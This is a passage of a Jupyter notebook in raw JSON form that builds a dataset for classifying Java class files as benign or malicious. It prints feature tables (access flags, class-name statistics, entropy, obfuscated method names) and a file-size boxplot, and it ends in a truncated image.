acc_abstractacc_annotationacc_enumacc_finalacc_interfaceacc_publicacc_superacc_syntheticap_countclass nameclass_name_digit_run_avgclass_name_digit_run_longestclass_name_lengthclass_name_lowercase_run_avgclass_name_lowercase_run_longestclass_name_slash_countclass_name_uppercase_run_avgclass_name_uppercase_run_longestconstant_pool_countentropy
0 1 0 0 0 0 1 1 0 3 com/google/common/collect/ForwardingConcurrentMap 0 0 49 6.000000 9 4 1.0 1 54 4.990507...
1 0 0 0 0 0 0 1 0 1 org/apache/hadoop/io/compress/GzipCodec$GzipOu... 0 0 82 4.846154 8 5 1.5 5 39 5.205063...
2 0 0 0 1 0 0 1 0 2 com/google/common/collect/Multisets$Unmodifiab... 0 0 62 6.625000 11 4 1.0 1 131 4.996721...
3 0 0 0 0 0 0 1 0 1 hu/openig/mechanics/StaticDefensePlanner$1 1 1 42 5.666667 9 3 1.0 1 56 5.282413...
4 0 0 0 0 0 1 1 0 2 org/apache/commons/io/LineIterator 0 0 34 4.666667 7 4 1.0 1 95 5.285082...
\n", + "

5 rows \u00d7 36 columns

\n", + "
" + ], + "metadata": {}, + "output_type": "pyout", + "prompt_number": 125, + "text": [ + " acc_abstract acc_annotation acc_enum acc_final acc_interface \\\n", + "0 1 0 0 0 0 \n", + "1 0 0 0 0 0 \n", + "2 0 0 0 1 0 \n", + "3 0 0 0 0 0 \n", + "4 0 0 0 0 0 \n", + "\n", + " acc_public acc_super acc_synthetic ap_count \\\n", + "0 1 1 0 3 \n", + "1 0 1 0 1 \n", + "2 0 1 0 2 \n", + "3 0 1 0 1 \n", + "4 1 1 0 2 \n", + "\n", + " class name \\\n", + "0 com/google/common/collect/ForwardingConcurrentMap \n", + "1 org/apache/hadoop/io/compress/GzipCodec$GzipOu... \n", + "2 com/google/common/collect/Multisets$Unmodifiab... \n", + "3 hu/openig/mechanics/StaticDefensePlanner$1 \n", + "4 org/apache/commons/io/LineIterator \n", + "\n", + " class_name_digit_run_avg class_name_digit_run_longest class_name_length \\\n", + "0 0 0 49 \n", + "1 0 0 82 \n", + "2 0 0 62 \n", + "3 1 1 42 \n", + "4 0 0 34 \n", + "\n", + " class_name_lowercase_run_avg class_name_lowercase_run_longest \\\n", + "0 6.000000 9 \n", + "1 4.846154 8 \n", + "2 6.625000 11 \n", + "3 5.666667 9 \n", + "4 4.666667 7 \n", + "\n", + " class_name_slash_count class_name_uppercase_run_avg \\\n", + "0 4 1.0 \n", + "1 5 1.5 \n", + "2 4 1.0 \n", + "3 3 1.0 \n", + "4 4 1.0 \n", + "\n", + " class_name_uppercase_run_longest constant_pool_count entropy \n", + "0 1 54 4.990507 ... \n", + "1 5 39 5.205063 ... \n", + "2 1 131 4.996721 ... \n", + "3 1 56 5.282413 ... \n", + "4 1 95 5.285082 ... \n", + "\n", + "[5 rows x 36 columns]" + ] + } + ], + "prompt_number": 125 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "df_bad = pd.DataFrame.from_records(bad_features)\n", + "df_bad.fillna(0, inplace=True)\n", + "df_bad['label'] = 'malicious'\n", + "df_bad.head()" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "html": [ + "
\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
acc_finalacc_publicacc_superap_countclass nameclass_name_digit_run_avgclass_name_digit_run_longestclass_name_lengthclass_name_lowercase_run_avgclass_name_lowercase_run_longestclass_name_slash_countclass_name_uppercase_run_avgclass_name_uppercase_run_longestconstant_pool_countentropyinterface_countinterfacesmajor versionmethod namesmethod_name_digit_run_avg
0 0 1 1 2 Main 0 0 4 3.0 3 0 1.000000 1 86 6.114522 0 [] 48 [<init>, init] 0...
1 0 0 1 1 YdCdHX/VcZaXVjyy 0 0 16 1.4 3 1 1.333333 2 52 5.539514 0 [] 49 [<init>, ktCgxlqo, <clinit>] 0...
2 0 1 1 2 aOcMSp 0 0 6 1.0 1 0 1.500000 2 159 5.953528 0 [] 49 [<init>, gvuNr, <clinit>] 0...
3 0 0 1 1 a/zylasqwjlpbqyrwrr 0 0 19 9.0 17 1 0.000000 0 478 6.348531 0 [] 49 [<init>, eiaxyercdfvbgscpbv, yginlmcynkyuohnfh... 0...
4 0 1 1 2 tljpjunbjwtqlywm/sdnrybknlf 0 0 27 13.0 16 1 0.000000 0 122 5.376762 0 [] 49 [<init>, dvvwse, <clinit>] 0...
\n", + "

5 rows \u00d7 31 columns

\n", + "
" + ], + "metadata": {}, + "output_type": "pyout", + "prompt_number": 126, + "text": [ + " acc_final acc_public acc_super ap_count class name \\\n", + "0 0 1 1 2 Main \n", + "1 0 0 1 1 YdCdHX/VcZaXVjyy \n", + "2 0 1 1 2 aOcMSp \n", + "3 0 0 1 1 a/zylasqwjlpbqyrwrr \n", + "4 0 1 1 2 tljpjunbjwtqlywm/sdnrybknlf \n", + "\n", + " class_name_digit_run_avg class_name_digit_run_longest class_name_length \\\n", + "0 0 0 4 \n", + "1 0 0 16 \n", + "2 0 0 6 \n", + "3 0 0 19 \n", + "4 0 0 27 \n", + "\n", + " class_name_lowercase_run_avg class_name_lowercase_run_longest \\\n", + "0 3.0 3 \n", + "1 1.4 3 \n", + "2 1.0 1 \n", + "3 9.0 17 \n", + "4 13.0 16 \n", + "\n", + " class_name_slash_count class_name_uppercase_run_avg \\\n", + "0 0 1.000000 \n", + "1 1 1.333333 \n", + "2 0 1.500000 \n", + "3 1 0.000000 \n", + "4 1 0.000000 \n", + "\n", + " class_name_uppercase_run_longest constant_pool_count entropy \\\n", + "0 1 86 6.114522 \n", + "1 2 52 5.539514 \n", + "2 2 159 5.953528 \n", + "3 0 478 6.348531 \n", + "4 0 122 5.376762 \n", + "\n", + " interface_count interfaces major version \\\n", + "0 0 [] 48 \n", + "1 0 [] 49 \n", + "2 0 [] 49 \n", + "3 0 [] 49 \n", + "4 0 [] 49 \n", + "\n", + " method names \\\n", + "0 [, init] \n", + "1 [, ktCgxlqo, ] \n", + "2 [, gvuNr, ] \n", + "3 [, eiaxyercdfvbgscpbv, yginlmcynkyuohnfh... \n", + "4 [, dvvwse, ] \n", + "\n", + " method_name_digit_run_avg \n", + "0 0 ... \n", + "1 0 ... \n", + "2 0 ... \n", + "3 0 ... \n", + "4 0 ... \n", + "\n", + "[5 rows x 31 columns]" + ] + } + ], + "prompt_number": 126 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "df = pd.concat([df_bad, df_good], ignore_index=True)\n", + "df.fillna(0, inplace=True)" + ], + "language": "python", + "metadata": {}, + "outputs": [], + "prompt_number": 127 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Let's explore the data.\n", + "\n", + "#### We start by comparing the file sizes." + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "df.boxplot(column='size', by='label')\n", + "plt.ylabel('File Size')\n", + "plt.xlabel('')\n", + "plt.title('')\n", + "plt.suptitle('')" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "metadata": {}, + "output_type": "pyout", + "prompt_number": 129, + "text": [ + "" + ] + }, + { + "metadata": {}, + "output_type": "display_data", + "png": "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\n07+JtBisWtVm/fpW3WFI